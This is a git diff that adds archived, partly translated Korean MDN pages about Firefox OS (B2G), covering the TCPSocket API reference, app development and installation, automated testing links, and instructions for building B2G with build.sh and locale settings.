+            <li><a href="/ko/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li>
+          </ol>
+      </details>
+  </li>
+  <li><a href="/ko/docs/Mozilla/B2G_OS/API">B2G OS APIs</a></li>
+</ol>
+</section><p></p>
+
+<p>This page lists all B2G OS-specific APIs.</p>
+
+<p></p><div class="index">
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+</div><p></p>
diff --git a/files/ko/archive/b2g_os/api/tcpsocket/index.html b/files/ko/archive/b2g_os/api/tcpsocket/index.html
new file mode 100644
index 0000000000..a9efe494eb
--- /dev/null
+++ b/files/ko/archive/b2g_os/api/tcpsocket/index.html
@@ -0,0 +1,102 @@
+---
+title: TCPSocket
+slug: Archive/B2G_OS/API/TCPSocket
+translation_of: Archive/B2G_OS/API/TCPSocket
+---
+<p></p><section class="Quick_links" id="Quick_Links"><ol><li><strong><a href="/ko/docs/Mozilla/Firefox_OS/API/TCP_Socket_API">TCP Socket API</a></strong></li><li><strong><a href="/ko/docs/Mozilla/Firefox_OS/API/Archive"><code>Archive</code></a></strong></li><li class="toggle"><details open><summary>Events</summary><ol><li><a href="/ko/docs/Web/Events/data"><code>data</code></a></li><li><a href="/ko/docs/Web/Events/drain"><code>drain</code></a></li><li><a href="/ko/docs/Web/Events/connect"><code>connect</code></a></li><li><a href="/ko/docs/Web/Events/error"><code>error</code></a></li></ol></details></li><li class="toggle"><details open><summary>Related pages for TCP Socket API</summary><ol><li><a href="/ko/docs/Mozilla/Firefox_OS/API/TCPServerSocket"><code>TCPServerSocket</code></a></li><li><a href="/ko/docs/Mozilla/Firefox_OS/API/TCPSocket"><code>TCPSocket</code></a></li></ol></details></li></ol></section><p></p>
+
+<p></p><div class="warning">
+    <p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">privileged or certified applications</a> only.</p>
+</div><p></p>
+
+<h2 id="요약">요약</h2>
+
+<p>The <strong><code>TCPSocket</code></strong> interface provides access to a raw TCP socket.</p>
+
+<p>The main entry point for this API is the <a href="/ko/docs/Web/API/Navigator/mozTCPSocket" title="The documentation about this has not yet been written; please consider contributing!"><code>navigator.mozTCPSocket</code></a> property which is a <code>TCPSocket</code> object.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 인증 된 앱만 1024보다 작은 포트에서 들어오는 연결을 허용 할 수 있습니다.</p>
+</div>
+
+<h2 id="API_개요">API 개요</h2>
+
+<pre>interface TCPSocket{
+  readonly attribute DOMString host;
+  readonly attribute unsigned short port;
+  readonly attribute boolean ssl;
+  readonly attribute unsigned long bufferedAmount;
+  readonly attribute DOMString binaryType;
+  readonly attribute DOMString readyState;
+
+  TCPSocket open(DOMString host, unsigned short port, [object options]);
+  TCPServerSocket listen(unsigned short port, [object options, [unsigned short backlog]]);
+  void upgradeToSecure();
+  void suspend();
+  void resume();
+  void close();
+  boolean send(in jsval data);
+
+  attribute onopen;
+  attribute ondrain;
+  attribute ondata;
+  attribute onerror;
+  attribute onclose;
+};</pre>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/API/TCPSocket/host" title="The documentation about this has not yet been written; please consider contributing!"><code>TCPSocket.host</code></a> <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></dt>
+ <dd>A string representing the host name of the server the socket is connected to.</dd>
+ <dt><a href="/ko/docs/Web/API/TCPSocket/port" title="The documentation about this has not yet been written; please consider contributing!"><code>TCPSocket.port</code></a> <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></dt>
+ <dd>A number representing the port the socket is connected to.</dd>
+ <dt><a href="/ko/docs/Web/API/TCPSocket/ssl" title="The documentation about this has not yet been written; please consider contributing!"><code>TCPSocket.ssl</code></a> <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></dt>
+ <dd>A boolean indicating whether the socket is encrypted with SSL (<code>true</code>) or not (<code>false</code>).</dd>
+ <dt><a href="/ko/docs/Web/API/TCPSocket/bufferedAmount" title="The documentation about this has not yet been written; please consider contributing!"><code>TCPSocket.bufferedAmount</code></a> <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></dt>
+ <dd>The number of bytes of not-yet-sent data in the socket buffered.</dd>
+ <dt><a href="/ko/docs/Web/API/TCPSocket/binaryType" title="The documentation about this has not yet been written; please consider contributing!"><code>TCPSocket.binaryType</code></a> <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></dt>
+ <dd>The type of data used. Possible value is <code>arraybuffer</code> or <code>string</code>.</dd>
+ <dt><a href="/ko/docs/Web/API/TCPSocket/readyState" title="The documentation about this has not yet been written; please consider contributing!"><code>TCPSocket.readyState</code></a> <span class="inlineIndicator readOnly readOnlyInline" title="This value may not be changed.">Read only </span></dt>
+ <dd>The socket state. Possible value is <code>connecting</code>, <code>open</code>, <code>closing</code>, or <code>closed</code>.</dd>
+</dl>
+
+<h3 id="이벤트_핸들러">이벤트 핸들러</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/API/TCPSocket/onopen" title="The documentation about this has not yet been written; please consider contributing!"><code>TCPSocket.onopen</code></a></dt>
+ <dd>A handler for the <code><a href="/ko/docs/Web/Reference/Events/open" title="/ko/docs/Web/Reference/Events/open">open</a></code> event. After this event, the socket is ready to send and receive data.</dd>
+ <dt><a href="/ko/docs/Web/API/TCPSocket/ondrain" title="The documentation about this has not yet been written; please consider contributing!"><code>TCPSocket.ondrain</code></a></dt>
+ <dd>A handler for the <code><a href="/ko/docs/Web/Reference/Events/drain" title="/ko/docs/Web/Reference/Events/drain">drain</a></code> event. This event is triggered each time the buffer of data is flushed.</dd>
+ <dt><a href="/ko/docs/Web/API/TCPSocket/onerror" title="The documentation about this has not yet been written; please consider contributing!"><code>TCPSocket.onerror</code></a></dt>
+ <dd>A handler for the <code><a href="/ko/docs/Web/Reference/Events/error" title="/ko/docs/Web/Reference/Events/error">error</a></code> event.</dd>
+ <dt><a href="/ko/docs/Web/API/TCPSocket/ondata" title="The documentation about this has not yet been written; please consider contributing!"><code>TCPSocket.ondata</code></a></dt>
+ <dd>A handler for the <code><a href="/ko/docs/Web/Reference/Events/data" title="/ko/docs/Web/Reference/Events/data">data</a></code> event. This event is triggered each time data has been received.</dd>
+ <dt><a href="/ko/docs/Web/API/TCPSocket/onclose" title="The documentation about this has not yet been written; please consider contributing!"><code>TCPSocket.onclose</code></a></dt>
+ <dd>A handler for the <code><a href="/ko/docs/Web/Reference/Events/close" title="/ko/docs/Web/Reference/Events/close">close</a></code> event.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/API/TCPSocket/close" title="The documentation about this has not yet been written; please consider contributing!"><code>TCPSocket.close()</code></a></dt>
+ <dd>Closes the connection.</dd>
+ <dt><a href="/ko/docs/Web/API/TCPSocket/open" title="The documentation about this has not yet been written; please consider contributing!"><code>TCPSocket.open(host, port [, options])</code></a></dt>
+ <dd>Returns a new <code>TCPSocket</code> object connected to the given <code>host</code> at the given <code>port</code>.</dd>
+ <dt><a href="/ko/docs/Web/API/TCPSocket/resume" title="The documentation about this has not yet been written; please consider contributing!"><code>TCPSocket.resume()</code></a></dt>
+ <dd>Resumes the <code>data</code> events.</dd>
+ <dt><a href="/ko/docs/Web/API/TCPSocket/send" title="The documentation about this has not yet been written; please consider contributing!"><code>TCPSocket.send(data)</code></a></dt>
+ <dd>Buffers data to be sent across the network.</dd>
+ <dt><a href="/ko/docs/Web/API/TCPSocket/suspend" title="The documentation about this has not yet been written; please consider contributing!"><code>TCPSocket.suspend()</code></a></dt>
+ <dd>데이터 이벤트를 일시 정지합니다.</dd>
+</dl>
+
+<h2 id="Specification">Specification</h2>
+
+<p>아직 사양에 포함되어 있지 않습니다. 그러나이 API는 W3C에서 <a href="http://www.w3.org/2012/sysapps/tcp-udp-sockets/" title="http://www.w3.org/2012/sysapps/tcp-udp-sockets/">TCP 및 UDP Socket API (이전에는 Raw Sockets API)</a> 제안에 따라 <a class="external" href="http://www.w3.org/2012/sysapps/" rel="external" title="http://www.w3.org/2012/sysapps/">시스템 응용 프로그램 작업 그룹</a>의 일부로 논의되었습니다.</p>
+
+<h2 id="관련항목">관련항목</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/TCP_Socket" title="/en-US/docs/WebAPI/TCP_Socket">TCP Socket</a></li>
+</ul>
diff --git a/files/ko/archive/b2g_os/application_development/index.html b/files/ko/archive/b2g_os/application_development/index.html
new file mode 100644
index 0000000000..2f961c72d6
--- /dev/null
+++ b/files/ko/archive/b2g_os/application_development/index.html
@@ -0,0 +1,12 @@
+---
+title: Firefox OS 앱 개발
+slug: Archive/B2G_OS/Application_development
+translation_of: Archive/B2G_OS/Firefox_OS_apps/Building_apps_for_Firefox_OS
+---
+<p>Firefox OS에서 사용하는 애플리케이션은 <a href="/ko/docs/Apps">오픈 웹 앱</a>을 휴대폰에 설치할 수 있게 해 주는 것입니다. 아래 문서를 참고하세요.</p>
+<ul>
+  <li><a href="/ko/docs/Apps/Getting_Started">앱 개발 시작하기</a></li>
+  <li><a href="/ko/docs/Mozilla/Firefox_OS/Writing_a_web_app_for_B2G">B2G 기반 웹앱 만들기</a></li>
+</ul>
+<div class="note">
+  <strong>주의:</strong> Firefox OS의 현재 User-Agent 스트링은 <code>Android;</code>만 빠진 모바일 버전과 동일 합니다. 예: <code>Mozilla/5.0 (Mobile; rv:15.0) Gecko/15.0 Firefox/15.0a1</code>.</div>
diff --git a/files/ko/archive/b2g_os/apps/index.html b/files/ko/archive/b2g_os/apps/index.html
new file mode 100644
index 0000000000..76095d479d
--- /dev/null
+++ b/files/ko/archive/b2g_os/apps/index.html
@@ -0,0 +1,57 @@
+---
+title: Creating Apps for Firefox OS
+slug: Archive/B2G_OS/Apps
+tags:
+  - Apps
+  - B2G
+  - Firefox OS
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/Apps/Fundamentals
+---
+<p>Applications for Firefox OS devices are simply open Web apps; they consist entirely of open Web technologies such as JavaScript, HTML, and CSS. While our primary documentation for apps covers nearly everything you need to know, there are a few documents specific to developing and testing for Firefox OS that are presented here.</p>
+<div class="row topicpage-table">
+  <div class="section">
+    <h2 class="Documentation" id="Documentation" name="Documentation">Documentation and tutorials</h2>
+    <dl>
+      <dt>
+        <a href="/en-US/docs/Mozilla/Firefox_OS/Apps/Writing_a_web_app_for_Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS/Apps/Writing_a_web_app_for_Firefox_OS">Writing a web app for Firefox OS</a></dt>
+      <dd>
+        A tutorial to creating your first web application for Firefox OS.</dd>
+      <dt>
+        <a href="/en-US/docs/Mozilla/Firefox_OS/Apps/Tips_and_techniques" title="/en-US/docs/Mozilla/Firefox_OS/Apps/Tips_and_techniques">Tips and techniques</a></dt>
+      <dd>
+        An assortment of tips and tricks (as well as workarounds for problems) that our developers have suggested for you!</dd>
+    </dl>
+    <p><span class="alllinks"><a href="/en-US/docs/tag/Apps" title="/en-US/docs/tag/CSS">View All...</a></span></p>
+  </div>
+  <div class="section">
+    <h2 class="Community" id="Community" name="Community">Getting help from the community</h2>
+    <p>You need help on an app-related problem and can't find the solution in the documentation?</p>
+    <ul>
+      <li>Consult the layout forum, which covers CSS and HTML: <ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-tech-css"> 메일링 리스트</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.layout"> 뉴스그룹</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.layout/feeds"> 웹 Feed</a></li>
+</ul>
+        <ul>
+          <li>Ask your question on the Mozilla IRC channel: <a class="link-irc" href="irc://irc.mozilla.org/openwebapps">#openwebapps</a></li>
+        </ul>
+      </li>
+    </ul>
+    <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">Don't forget about the <em>netiquette</em>...</a></span></p>
+    <h2 class="Tools" id="Tools" name="Tools">Tools</h2>
+    <ul>
+      <li><span class="external">The Firefox <a href="/en-US/docs/Tools/Debugger" title="/en-US/docs/Tools/Debugger">Debugger</a> offers support for remotely debugging Firefox OS apps</span></li>
+      <li><span class="external">Other <a href="/en-US/docs/Tools" title="/en-US/docs/Tools">Developer Tools</a></span></li>
+    </ul>
+    <p><span class="alllinks"><a href="/en-US/docs/tag/Tools" title="/en-US/docs/tag/CSS:Tools">View All...</a></span></p>
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related Topics</h2>
+    <ul>
+      <li><a href="/en-US/docs/Apps" title="/en-US/docs/Apps">Apps</a></li>
+    </ul>
+  </div>
+</div>
+<p> </p>
diff --git a/files/ko/archive/b2g_os/apps/writing_a_web_app_for_firefox_os/index.html b/files/ko/archive/b2g_os/apps/writing_a_web_app_for_firefox_os/index.html
new file mode 100644
index 0000000000..d5d3be42e1
--- /dev/null
+++ b/files/ko/archive/b2g_os/apps/writing_a_web_app_for_firefox_os/index.html
@@ -0,0 +1,25 @@
+---
+title: Writing a web app for Firefox OS
+slug: Archive/B2G_OS/Apps/Writing_a_web_app_for_Firefox_OS
+translation_of: Web/Apps/Fundamentals/Quickstart
+---
+<p>B2G 앱은 HTML, CSS, Javascript 로 작성된 웹앱입니다. 다른 일반적인 웹 사이트를 공개하는 것과 같이 웹 상에 배포할 수 있습니다. 웹 사이트를 단말에 웹앱으로 설치 가능하게 하려면, 아래 설명에 따라 매니페스트를 꾸며야하고 설치 버튼과 연결해야 합니다.</p>
+<p>우선 아래의 기사를 먼저 읽는 것을 추천합니다.</p>
+<ul>
+  <li><a href="/en-US/docs/Apps/Getting_Started">Getting started with making apps</a></li>
+  <li><a href="/en-US/docs/Apps/Manifest">App manifest</a></li>
+</ul>
+<p>물론, <a href="/en-US/docs/Apps">Open Web Apps 에 대해 보다 깊게 배우기</a>도 좋을 것입니다.</p>
+<h2 id="Installing_the_Web_app">Installing the Web app</h2>
+<p>앱과 매니페스트를 웹 상에 배포한 뒤, Gecko 에 인식시킬 필요가 있습니다. 설치 시, Gecko 는 매니페스트의 내용을 읽고 홈 화면에 아이콘을 추가하는 등 필요한 처리를 합니다.</p>
+<p>앱을 인스톨하려면, <a href="/en-US/docs/Apps/Apps_JavaScript_API/navigator.mozApps.install"><code>navigator.mozApps.install</code> API</a> 를 호출해야합니다. 아래는 앱을 스스로 배포하는 경우 앱에 포함되는 설치 버튼에 대한 예제입니다.</p>
+<pre>&lt;script&gt;
+var manifest_url = "http://my.webapp.com/manifest.json";
+&lt;/script&gt;
+
+&lt;button onclick="navigator.mozApps.install(manifest_url); return false;"&gt;
+  Install this awesome app on your homescreen!
+&lt;/button&gt;
+</pre>
+<p>Note: 설치 버튼은 <a href="/en-US/docs/Apps/Submitting_an_app">Firefox Marketplace</a> 와 같은 앱 마켓에서 찾을 수 있습니다. 그러나 사이트의 메인 페이지에 "Install as web app" 버튼이 있다면 아주 편리할 것입니다.</p>
+<p>이제 B2G 브라우저 앱으로 웹 사이트에 방문하고 인스톨 버튼을 눌러보세요.</p>
diff --git a/files/ko/archive/b2g_os/automated_testing/index.html b/files/ko/archive/b2g_os/automated_testing/index.html
new file mode 100644
index 0000000000..a03dba9376
--- /dev/null
+++ b/files/ko/archive/b2g_os/automated_testing/index.html
@@ -0,0 +1,84 @@
+---
+title: Firefox OS 테스트
+slug: Archive/B2G_OS/Automated_testing
+tags:
+  - 테스팅
+translation_of: Archive/B2G_OS/Automated_testing
+---
+<p></p>
+<p>Firefox OS는 아직 개발중이지만 조만간 새로운 하드웨어도 지원하게 될 것이기에, 테스트를 하는 방법을 아는 게 중요합니다. 이 페이지는 Firefox OS를 테스트 하는 다양한 방법에 대한 정보를 제공하는 문서들로의 링크들을 제공합니다.</p>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h3 id="Documentation" name="Documentation">유닛 테스트</h3>
+        <ul>
+          <li><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Gaia_unit_tests" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Gaia_unit_tests">Gaia 유닛 테스트</a></li>
+          <li><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Mochitests" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Mochitests">Mochitests</a></li>
+          <li><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Reftests" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Reftests">Reftests</a></li>
+          <li><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/XPCShell" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/XPCShell">XPCShell 테스트</a></li>
+        </ul>
+        <dl>
+        </dl>
+        <h3 id="Documentation" name="Documentation">다양한 테스팅 관련 논의</h3>
+        <dl>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Debugging/Debugging_OpenGL" title="/en-US/docs/Mozilla/Debugging/Debugging_OpenGL">OpenGL</a> <a href="/en-US/docs/Mozilla/Debugging/Debugging_OpenGL" style="line-height: inherit;" title="/en-US/docs/Mozilla/Debugging/Debugging_OpenGL">디버깅</a></dt>
+          <dd>
+            Firefox OS에서 OpenGL 코드를 디버깅 하는 방법.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Feature_support_chart" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Feature_support_chart">지원 기능 목록</a></dt>
+          <dd>
+            Firefox OS의 빌드 별로 지원하는 기능들의 목록.</dd>
+        </dl>
+        <h3 id="Documentation" name="Documentation">Firefox OS를 위한 Marionette</h3>
+        <ul>
+          <li><a class="link-https" href="https://wiki.mozilla.org/Auto-tools/Projects/Marionette" title="https://wiki.mozilla.org/Auto-tools/Projects/Marionette">테스트 자동화 프레임웍, Marionette</a></li>
+          <li><a href="/en/Marionette" title="https://developer.mozilla.org/en/Marionette">Marionette MDN 문서</a></li>
+        </ul>
+        <h4 id="Gaia_Tests">Gaia Tests</h4>
+        <ul>
+          <li><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Gaia_unit_tests" title="en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Gaia_unit_tests">유닛 테스트 작성하고 돌리기</a></li>
+          <li><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Gaia_integration_tests" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Gaia_integration_tests">통합 테스트 작성하고 돌리기</a></li>
+          <li><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/gaia-ui-tests" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/gaia-ui-tests">gaia-ui-테스트 작성하고 돌리기</a></li>
+        </ul>
+        <h4 id="Marionette_튜토리얼">Marionette 튜토리얼</h4>
+        <ul>
+          <li><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Setting_up_Marionette" title="en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Setting_up_Marionette">Firefox OS를 위한 Marionette 설정하기</a></li>
+          <li><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Marionette_for_interactive_Python" title="en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Marionette_for_interactive_Python">파이썬으로 인터랙티브하게 Marionette 사용하기</a></li>
+          <li>QEMU 에뮬레이터에서 Marionette 사용하기</li>
+        </ul>
+        <h4 id="Marionette용_테스트_작성하기">Marionette용 테스트 작성하기</h4>
+        <ul>
+          <li><a href="/en/Marionette/Marionette_Python_Tests" title="en/Marionette/Marionette_Python_Tests">Marionette 파이썬 테스트</a></li>
+          <li><a href="/en-US/docs/Marionette/Marionette_JavaScript_Tests" title="/en-US/docs/Marionette/Marionette_JavaScript_Tests">Marionette 자바스크립트 테스트</a></li>
+          <li><a href="/en/Marionette/Running_Tests" title="en/Marionette/Running_Tests">Marionette 테스트 돌리기</a></li>
+        </ul>
+        <p><span class="alllinks"><a href="/Special:Tags?tag=B2G&amp;language=en" title="Special:Tags?tag=B2G&amp;language=en">모두 표시...</a></span></p>
+      </td>
+      <td>
+        <h3 id="Community" name="Community">커뮤니티에서 도움 받기</h3>
+        <p>Firefox OS로 일을 하거나 Firefox OS가 설치된 기기 위에 올라갈 어플리케이션을 개발 중이라면, 도움을 받을 수 있는 커뮤니티가 많이 있습니다!</p>
+        <ul>
+          <li>Firefox OS 포럼에 조언을 구하세요: <ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-b2g"> 메일링 리스트</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.b2g"> 뉴스그룹</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.b2g/feeds"> 웹 Feed</a></li>
+</ul></li>
+        </ul>
+        <ul>
+          <li>Mozilla IRC 채널에 질문을 할 수 있습니다: <a class="link-irc" href="irc://irc.mozilla.org/b2g" title="irc://irc.mozilla.org/b2g">#b2g</a></li>
+        </ul>
+        <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html" title="http://www.catb.org/~esr/faqs/smart-questions.html">질문 할 땐 <em>예의</em>를 잊지 말아 주세요...</a></span></p>
+        <br>
+        <h3 id="Related_Topics" name="Related_Topics">관련 논의</h3>
+        <ul>
+          <li><a href="https://wiki.mozilla.org/B2G/QA" title="MozWiki-QA">QA</a></li>
+        </ul>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<p> </p>
diff --git a/files/ko/archive/b2g_os/building/index.html b/files/ko/archive/b2g_os/building/index.html
new file mode 100644
index 0000000000..87f6b1fff6
--- /dev/null
+++ b/files/ko/archive/b2g_os/building/index.html
@@ -0,0 +1,125 @@
+---
+title: Firefox OS 빌드하기
+slug: Archive/B2G_OS/Building
+translation_of: Archive/B2G_OS/Building
+---
+<div>
+  </div>
+<div class="warning">
+  <strong>중요</strong>: 번역은 제가 필요한 부분 및 확인 가능한 부분만 진행 하였으며 변역된 날자는(2013/02/25)이며 문서 변경이 잦아 오늘 이후는 원문과 번역이 다를 수 있습니다. 참고하세요. 미 번역/변경된 부분은 추가로 다른 분이 해 주실 것으로 믿습니다.</div>
+<p><a href="/en-US/docs/Mozilla/Boot_to_Gecko/B2G_build_prerequisites" title="en-US/docs/Mozilla/Boot_to_Gecko/B2G_build_prerequisites">빌드환경 설정</a>과 <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Preparing_for_your_first_B2G_build" title="en-US/docs/Mozilla/Boot_to_Gecko/Preparing_for_your_first_B2G_build">코드 복사 및 초기 환경 설정</a>이 완료 되고 나면, Boot to Gecko를 시작 할 수 있습니다.</p>
+<h2 id="최신_코드로_업데이트">최신 코드로 업데이트</h2>
+<p>B2G빌드가 처음이 아닐 경우, 빌드를 시작하기 전에 최신 코드를 가져 오고 싶다면 아래와 같이 빌드용 툴과 코드를 최신으로 업데이트 하실 수 있습니다.</p>
+<pre>git pull
+./repo sync
+</pre>
+<p>원하는 repository의 이름만 입력 함으로서 부분적으로 업데이트도 가능합니다.</p>
+<pre>./repo sync gaia
+</pre>
+<p>"repo"의 다른 옵션들에 관심이 있다면 "<code>repo help</code>"를 입력 해 보세요.</p>
+<h2 id="빌드하기">빌드하기</h2>
+<div class="note">
+  <p><strong>주의:</strong> 빌드 하기 전에, 빌드 환경을 개조 하려면 .userconfig파일을 수정하시면 됩니다.  <a href="/en-US/docs/Mozilla/Boot_to_Gecko/Customization_with_the_.userconfig_file" title="/en-US/docs/Mozilla/Boot_to_Gecko/Customization_with_the_.userconfig_file">.userconfig 파일 개조하기</a>를 참고하세요.</p>
+</div>
+<p>아래와 같이 입력하면 B2G를 빌드 하실 수 있습니다.</p>
+<pre>cd B2G
+./build.sh
+</pre>
+<p>이번 과정 또한 수행 시간이 많이(2시간 이상)걸리므로 잠깐 다른 일을 처리 하셔도 됩니다. As in the configure step on the previous page, if you are using a directory of previously-extracted Android system files, you should set ANDROIDFS_DIR before running build.sh.</p>
+<h3 id="특정_모듈_빌드하기">특정 모듈 빌드하기</h3>
+<p>Gecko와 같은 특정 모듈만 빌드하려면 아래와 같습니다.</p>
+<pre>./build.sh gecko
+</pre>
+<p>특정 애플리케이션 하나만 빌드하려면, 아래와 같이 환경 변수<code> BUILD_APP_NAME에 "gaia"를 설정 하여 gaia만 빌드 하실 수 있습니다.</code></p>
+<pre>BUILD_APP_NAME=calendar ./build.sh gaia</pre>
+<p>빌드 가능한 모듈을 확인 하고 싶으시면 아래와 같이 수행 하십시오.</p>
+<pre>./build.sh modules
+</pre>
+<h3 id="빌드에_사용되는_코어_갯수_변경">빌드에 사용되는 코어 갯수 변경</h3>
+<p>기본적으로, B2G 빌드 스크립트는 시스템이 가진 코어보다 2개 더 많은 수로 병렬 빌드를 진행 합니다. <code>"</code><code>build.sh" 수행시 -j 파라미터를 통해 그 갯수를 변경 하실 수 있습니다.</code> 이를 통해 빌드 시스템의 CPU로드를 조정하실 수 있습니다. 빌드에서 에러가 발생하면 병렬 빌드의 경우 에러 가 복잡하게 보이므로 코어 갯수를 줄이거나 하나로 한다면 빌드 에러 추적이 용이합니다.</p>
+<p>아래는 2개의 코어로 설정하여 빌드하는 예입니다.</p>
+<pre>./build.sh -j2
+</pre>
+<p>빌드 에러가 발생시는 아래처럼 1개의 코어로 할 경우 에러 결과를 읽고 분석하기 용이 합니다.</p>
+<pre>./build.sh -j1
+</pre>
+<h3 id="다국어_빌드하기">다국어 빌드하기</h3>
+<p>다국어 지원하도록 한다면:</p>
+<h4 id="Gaia">Gaia</h4>
+<ol>
+  <li>먼저 어떤 언어를 지원할 것인지 정하시고. 현재는 <a href="http://hg.mozilla.org/integration/gaia-nightly/file/e2eed5263e77/shared/resources/languages-dev.json"><code>locales/languages_dev.json</code></a>와 <a href="http://hg.mozilla.org/integration/gaia-nightly/file/e2eed5263e77/shared/resources/languages-all.json"><code>locales/languages_all.json</code></a>가 Gaia의 언어 설정 관련 파일로 사용됩니다.</li>
+  <li><a href="http://hg.mozilla.org/gaia-l10n">http://hg.mozilla.org/gaia-l10n</a>에서 지원하고자 하는 언어를 가져옵니다. 언어 파일에 리스트 된 각 언어를 가져 오려면 "repo"를 사용해야 합니다.</li>
+  <li>환경 설정으로, set <code>LOCALE_BASEDIR</code>에 위의 2번에서 가져온 파일 절대 경로를 설정합니다. <code>LOCALES_FILE을 1번 설정의 절대 경로로 설정합니다.</code></li>
+</ol>
+<p>예를 들면,</p>
+<pre>export LOCALE_BASEDIR=$PWD/gaia-l10n
+export LOCALES_FILE=$PWD/gecko/gaia/shared/resources/languages-dev.json
+</pre>
+<h4 id="Gecko">Gecko</h4>
+<ol>
+  <li>Determine which Gecko languages file to use. We're currently using <a href="http://hg.mozilla.org/releases/mozilla-b2g18/file/default/b2g/locales/all-locales">b2g/locales/all-locales</a> as our Gecko languages file.</li>
+  <li>Clone the appropriate locales into a directory; this can be <code>gecko-l10n/</code> .
+    <ul>
+      <li>For mozilla-central, use <a href="http://hg.mozilla.org/l10n-central/">http://hg.mozilla.org/l10n-central/</a></li>
+      <li>For mozilla-aurora, use <a href="http://hg.mozilla.org/releases/l10n/mozilla-aurora/">http://hg.mozilla.org/releases/l10n/mozilla-aurora/</a></li>
+      <li>For mozilla-beta or mozilla-b2g18, use <a href="http://hg.mozilla.org/releases/l10n/mozilla-beta/">http://hg.mozilla.org/releases/l10n/mozilla-beta/</a></li>
+    </ul>
+  </li>
+  <li>Clone <a href="http://hg.mozilla.org/build/compare-locales">compare-locales</a>.</li>
+  <li>
+    <p>In your environment, set <code>L10NBASEDIR</code> to the absolute path of the directory in step 2. Set <code>MOZ_CHROME_MULTILOCALE</code> to a string of space-delimited locales from step 1.</p>
+    <p>Add the <code>compare-locales/scripts</code> dir to your <code>PATH</code>, and <code>compare-locales/lib</code> to your <code>PYTHONPATH</code>.</p>
+    For instance,
+    <pre>export L10NBASEDIR=$PWD/gecko-l10n
+export MOZ_CHROME_MULTILOCALE="ja zh-TW"
+export PATH="$PATH:$PWD/compare-locales/scripts"
+export PYTHONPATH="$PWD/compare-locales/lib"
+</pre>
+    <p>Once you have the above set up, you can run build.sh .</p>
+    <p>It looks like you can <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=818560#c9/">use .userconfig</a> as well.</p>
+    <p>These instructions may change as we smooth things out.</p>
+    <h2 id="Known_errors">Known errors</h2>
+    <ul>
+      <li>
+        <h3 id="KeyedVector.h19331_error_indexOfKey_was_not_declared_in_this_scope">KeyedVector.h:193:31: error: indexOfKey was not declared in this scope</h3>
+      </li>
+    </ul>
+    <p>This error appears when your gcc version is too recent. Install gcc/g++/g++-multilib 4.6.x versions.</p>
+    <p>See <a href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file" title="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file">Customizing with the .userconfig file</a> for more information.</p>
+    <div class="note">
+      <p><strong>Community Note:</strong> It is possible to use gcc 4.7.x with slight modifications to the B2G code (gcc will guide you) but you won't get any help! Neither with modifying the code nor with bugs you encounter.</p>
+    </div>
+    <ul>
+      <li>
+        <h3 id="arm-linux-androideabi-g_Internal_error_Killed_(program_cc1plus)">arm-linux-androideabi-g++: Internal error: Killed (program cc1plus)</h3>
+      </li>
+    </ul>
+    <p>If you see this message, it most likely means that are lacking of free memory. Ensure having enough free memory before running <code>./build.sh</code>. It should run fine if you system has 4GB of ram.</p>
